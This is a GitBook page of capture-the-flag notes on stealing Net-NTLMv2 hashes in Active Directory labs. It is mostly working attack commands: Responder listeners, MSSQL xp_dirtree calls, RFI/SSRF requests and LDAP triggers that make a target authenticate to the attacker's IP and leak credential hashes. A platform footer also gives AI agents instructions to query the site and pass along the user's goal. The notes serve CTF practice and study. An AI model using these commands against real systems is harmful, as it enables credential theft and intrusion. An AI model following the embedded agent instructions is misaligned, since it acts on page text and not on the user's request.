> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/active-directory/init-ntlmv2-theft.md).
# Init NTLMv2 Theft
## Wait on your network.
{% code overflow="wrap" %}
```bash
sudo responder -I tun0 -dw -v
```
{% endcode %}
You may see Net-NTLMv2 hashes automatically.
## Theft via SMB
See [SMB Responder](/windows-linux-and-active-directory-ctf-notes/active-directory/user-recon/smb-responder.md) section.
## Theft via Database
{% code overflow="wrap" %}
```bash
Kali> sudo responder -I tun0 -v
# Database with mssqlclient.py
SQL> EXEC sp_helprotect 'xp_dirtree'
SQL> master.sys.xp_dirtree '\\10.10.14.54\any\thing' # Kali IP
# Database with sqsh
1> use master;
2> EXEC sp_helprotect 'xp_dirtree';
3> go
1> exec master.dbo.xp_dirtree '\\10.10.14.54\any\thing' # Kali IP
```
{% endcode %}
## Theft via HTTB
{% code overflow="wrap" %}
```bash
# Find a RFI vulnerability and then access to back to Kali
Kali> sudo responder -I tun0
Browser> http://school.flight.htb/index.php?view=///any/thing.txt
# Another example
Kali> sudo responder -I tun0 -v
Kali> curl "http://192.168.206.165:8080/?url=http://192.168.49.206"
```
{% endcode %}
## Theft via LDAP
```bash
Kali> sudo responder -I tun0
# Target Windows OS
# Access to Ldap, triggering back to Kali
# ldap://:389
Target system or service> ldap://10.10.14.114:389
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/active-directory/init-ntlmv2-theft.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.